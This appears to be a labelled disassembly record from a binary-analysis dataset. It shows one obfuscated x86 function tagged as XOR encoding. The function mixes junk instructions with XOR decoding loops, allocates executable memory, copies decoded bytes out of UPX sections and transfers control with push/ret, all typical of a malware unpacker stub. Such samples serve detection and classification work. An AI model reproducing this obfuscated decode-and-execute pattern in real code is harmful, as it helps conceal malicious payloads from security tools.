Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa38c0beb
or esi, esi
inc edx
popal
sub esi, 0xf7a2a60d
add edx, 0x4452d57a
mov esi, edx
mov edx, 0
mov eax, ebx
sub ecx, 0xfc37b863
not edi
dec ecx
mov esi, eax
sub edi, 0xc0992632
mov ecx, edi
and edi, ecx
mov ebx, esi
sub ecx, 0x93331e6d
and ecx, edi
add ecx, 0xd194472e
inc edx
sub ecx, edi
dec ecx
sub ecx, 1
cmp edx, 0x100a770
jne 0x47afd5
or ecx, ecx
or ecx, ecx
or ecx, edi
cmp edx, 0x100a770
je 0x47b027
mov ebx, 0
mov edx, dword [ebx]
or ecx, ecx
sub ecx, 0x84b3b946
or edi, ecx
mov esi, edx
or edx, edx
mov eax, 0x47ada2
inc edi
sub ecx, 0xa61ed6a4
not ebx
mov esi, 0x47af96
mov ecx, edi
sub edi, 0xe840643e
mov ebx, 0x853a4f3d
mov edx, dword [eax]
and ebx, ebx
or ebx, edi
and edx, 0xff
or ebx, ecx
or ecx, edi
xor dword [esi], edx
inc edi
and edi, ecx
add edi, ecx
inc esi
add ebx, ebx
sub ecx, edi
inc ecx
inc eax
mov edi, ecx
add edi, edi
cmp esi, entry0
jl 0x47b055
or edi, edi
inc ebx
mov ebx, edi
sub edi, ebx
mov ecx, 0xd0a77955
mov ecx, 0x6ce67939
mov ebx, 0x47af9a
mov ecx, 0x5ba8dbda
add esi, edx
mov ebx, dword [ebx]
sub edx, 0x4f045ee2
or edx, edx
mov ebx, dword [ebx]
not esi
sub edi, ecx
sub ecx, esi
push ebx
sub edx, ecx
or edi, esi
mov ebx, 0x47af96
inc edx
sub edx, 0xe2c1aaa1
sub edi, esi
mov ebx, dword [ebx]
inc edx
or edi, esi
mov edi, 0x27169f84
mov ebx, dword [ebx]
and ecx, esi
add ecx, 0x3b7bbf9b
push 0x47af9e
add edx, 0xe50e5248
not ecx
add esi, edx
call ebx
not ecx
mov edx, 0x62e1349b
sub edi, esi
mov ebx, dword [esp]
add esp, 4
add edx, 0x67c482d1
sub edx, 0xd5d673f5
push 0x47afab
not ecx
sub ecx, 0xd725a89c
mov edx, edi
sub esp, 4
mov dword [esp], eax
mov edx, ecx
inc edi
sub edx, 1
call ebx
mov esi, 0xc33d6135
sub edi, 0xf21c4e8b
sub esp, 4
mov dword [esp], 0x40
mov edi, edx
add edi, 0xe03c804
sub esp, 4
mov dword [esp], 0x3000
add edx, 1
add edi, ecx
sub esp, 4
mov dword [esp], 0x20000095
sub edi, edx
or edi, esi
sub esp, 4
mov dword [esp], 0
not edi
mov esi, edi
add ecx, edi
call eax
mov esi, 0x5826729b
mov ecx, 0x511b66d3
add eax, 0x20000005
not ecx
and edi, edx
add edx, edx
mov ebx, 0xcbd0e2cb
dec edi
mov ecx, edx
add ecx, 0xdc04b46a
mov dword [eax], ebx
and ecx, ecx
mov esi, 0x2272eeaa
mov edx, 0xe32f83f9
mov ebx, dword [eax]
and edi, edx
sub esi, ecx
add edx, edi
cmp ebx, 0xcbd0e2cb
je 0x47b1bd
mov eax, 0
mov byte [eax], bl
mov edx, 0xfcddc259
mov ecx, esi
inc edi
mov edi, ecx
add edx, ecx
sub ecx, 0x1453a55f
sub edx, 1
inc edx
inc esi
mov ecx, section.UPX1
mov esi, edx
mov esi, 0x8311495b
sub esi, edx
mov edi, 0x47ada1
not esi
and esi, edx
or esi, esi
mov ebx, 0
mov edx, esi
add edx, 1
sub esi, 1
mov eax, 0x47ada2
add esi, 1
mov esi, edx
lea eax, [eax + ebx]
add esi, 0x34e955ea
dec edx
add edx, edx
mov eax, dword [eax]
add esi, edx
or edx, esi
mov esi, edx
and eax, 0xff
inc esi
add esi, 0xe3be86fe
inc ebx
mov esi, edx
or edx, edx
cmp ebx, 0x1f4
jne 0x47b243
mov ebx, 0
mov edx, esi
sub edx, 0xca8d6b7a
sub esi, edx
dec edx
sub esi, 0x17604ad6
not edx
xor dword [ecx], eax
or esi, edx
sub esi, 0x927665c3
add ecx, 2
sub edx, 1
not esi
not edx
cmp ecx, edi
jl 0x47b203
add edx, 0x1a036c51
mov esi, 0x8530226b
mov esi, edx
sub esi, 0x5a971115
mov ecx, section.UPX1
sub esi, eax
mov esi, 0xea5f04bf
or esi, eax
mov edi, section.UPX1
dec eax
sub eax, esi
sub eax, 1
mov edx, 0x47ada1
inc eax
sub esi, eax
sub eax, esi
mov ebx, 0
dec eax
and esi, esi
mov esi, 0x6f6ab9a8
mov bl, byte [edi]
not eax
sub esi, eax
not esi
mov byte [ecx], bl
sub eax, 1
add esi, esi
inc eax
inc ecx
mov eax, esi
or eax, esi
add esi, 0xa6336eee
add edi, 2
add esi, esi
mov esi, 0x998dae4a
cmp edi, edx
jle 0x47b2be
sub esi, 0x838bde2
or eax, esi
mov eax, esi
not edx
or edx, esi
push 0x45e6a0
sub esi, 0xde96e4d9
add esi, 0xa854c01a
ret